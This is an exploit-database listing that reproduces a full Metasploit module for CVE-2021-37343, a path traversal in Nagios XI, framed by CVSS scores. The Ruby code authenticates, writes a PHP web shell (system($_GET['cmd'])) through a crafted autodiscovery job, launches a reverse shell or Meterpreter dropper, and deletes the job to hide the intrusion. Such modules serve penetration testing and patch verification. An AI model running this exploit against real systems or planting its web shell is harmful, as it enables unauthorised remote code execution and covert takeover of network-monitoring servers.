Lucene search

K
packetstormJbaines-r7, Claroty Team82, metasploit.comPACKETSTORM:165978
HistoryFeb 14, 2022 - 12:00 a.m.

Nagios XI Autodiscovery Shell Upload

2022-02-1400:00:00
jbaines-r7, Claroty Team82, metasploit.com
packetstormsecurity.com
203

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HTTP::NagiosXi  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Nagios XI Autodiscovery Webshell Upload',  
'Description' => %q{  
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).  
The path traversal allows a remote and authenticated administrator to upload a PHP web shell  
and execute code as `www-data`. The module achieves this by creating an autodiscovery job  
with an `id` field containing a path traversal to a writable and remotely accessible directory,  
and `custom_ports` field containing the web shell. A cron file will be created using the chosen  
path and file name, and the web shell is embedded in the file.  
  
After the web shell has been written to the victim, this module will then use the web shell to  
establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by  
the module, and the autodiscovery job is removed as well.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Claroty Team82', # vulnerability discovery  
'jbaines-r7' # metasploit module  
],  
'References' => [  
['CVE', '2021-37343'],  
['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-xi/']  
],  
'DisclosureDate' => '2021-07-15',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_openssl'  
},  
'Payload' => {  
'Append' => ' & disown'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'printf' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'MeterpreterTryToFork' => true  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options [  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),  
OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),  
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),  
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])  
]  
  
@webshell_uri = '/includes/components/highcharts/exporting-server/temp/'  
@webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'  
end  
  
# Authenticate and grab the version from the dashboard. Store auth cookies for later user.  
def check  
login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)  
case login_result  
when 1..3 # An error occurred  
return CheckCode::Unknown(res_array[0])  
when 4  
return CheckCode::Detected('Nagios is not fully installed.')  
when 5  
return CheckCode::Detected('The Nagios license has not been signed.')  
end  
  
# res_array[1] cannot be nil since the mixin checks for that already.  
@auth_cookies = res_array[1]  
  
nagios_version = nagios_xi_version(res_array[0])  
if nagios_version.nil?  
return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')  
end  
  
# affected versions are 5.2.0 -> 5.8.4  
if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&  
Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')  
return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")  
end  
  
CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")  
end  
  
# Using the path traversal, upload a php webshell to the remote target  
def drop_webshell  
autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')  
print_status("Attempting to grab a CSRF token from #{autodisc_uri}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => autodisc_uri,  
'cookie' => @auth_cookies,  
'vars_get' => {  
'mode' => 'newjob'  
}  
})  
  
fail_with(Failure::Disconnected, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200  
fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-Discovery Job')  
  
# snag the nsp token from the response  
nsp = get_nsp(res)  
fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if nsp.blank?  
  
# drop a basic web shell on the server  
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")  
print_status("Uploading webshell to #{webshell_location}")  
php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'  
payload = 'update=1&' \  
"job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \  
"nsp=#{nsp}&" \  
'address=127.0.0.1%2F0&' \  
'frequency=Yearly&' \  
"custom_ports=#{php_webshell}&"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => autodisc_uri,  
'cookie' => @auth_cookies,  
'vars_get' => {  
'mode' => 'newjob'  
},  
'data' => payload  
})  
  
fail_with(Failure::Disconnected, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302  
  
# Test the web shell installed by echoing a random string and ensure it appears in the res.body  
print_status('Testing if web shell installation was successful')  
rand_data = Rex::Text.rand_text_alphanumeric(16..32)  
res = execute_via_webshell("echo #{rand_data}")  
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)  
print_good("Web shell installed at #{webshell_location}")  
  
# This is a great place to leave a web shell for persistence since it doesn't require auth  
# to touch it. By default, we'll clean this up but the attacker has to option to leave it  
if datastore['DELETE_WEBSHELL']  
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")  
end  
end  
  
# Successful exploitation creates a new job in the autodiscovery view. This function deletes  
# the job that there is no evidence of exploitation in the UI.  
def cleanup_job  
print_status('Deleting autodiscovery job')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),  
'cookie' => @auth_cookies,  
'vars_get' => {  
'mode' => 'deletejob',  
'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"  
}  
})  
  
fail_with(Failure::Disconnected, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302  
end  
  
# Executes commands via the uploaded webshell  
def execute_via_webshell(cmd)  
cmd = Rex::Text.uri_encode(cmd)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#{@webshell_name}?cmd=#{cmd}")  
})  
  
fail_with(Failure::Disconnected, 'Connection failed') unless res  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200  
res  
end  
  
def execute_command(cmd, _opts = {})  
execute_via_webshell(cmd)  
end  
  
def exploit  
# create a randomish web shell name if the user doesn't specify one  
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"  
  
drop_webshell  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
ensure  
cleanup_job  
end  
end  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P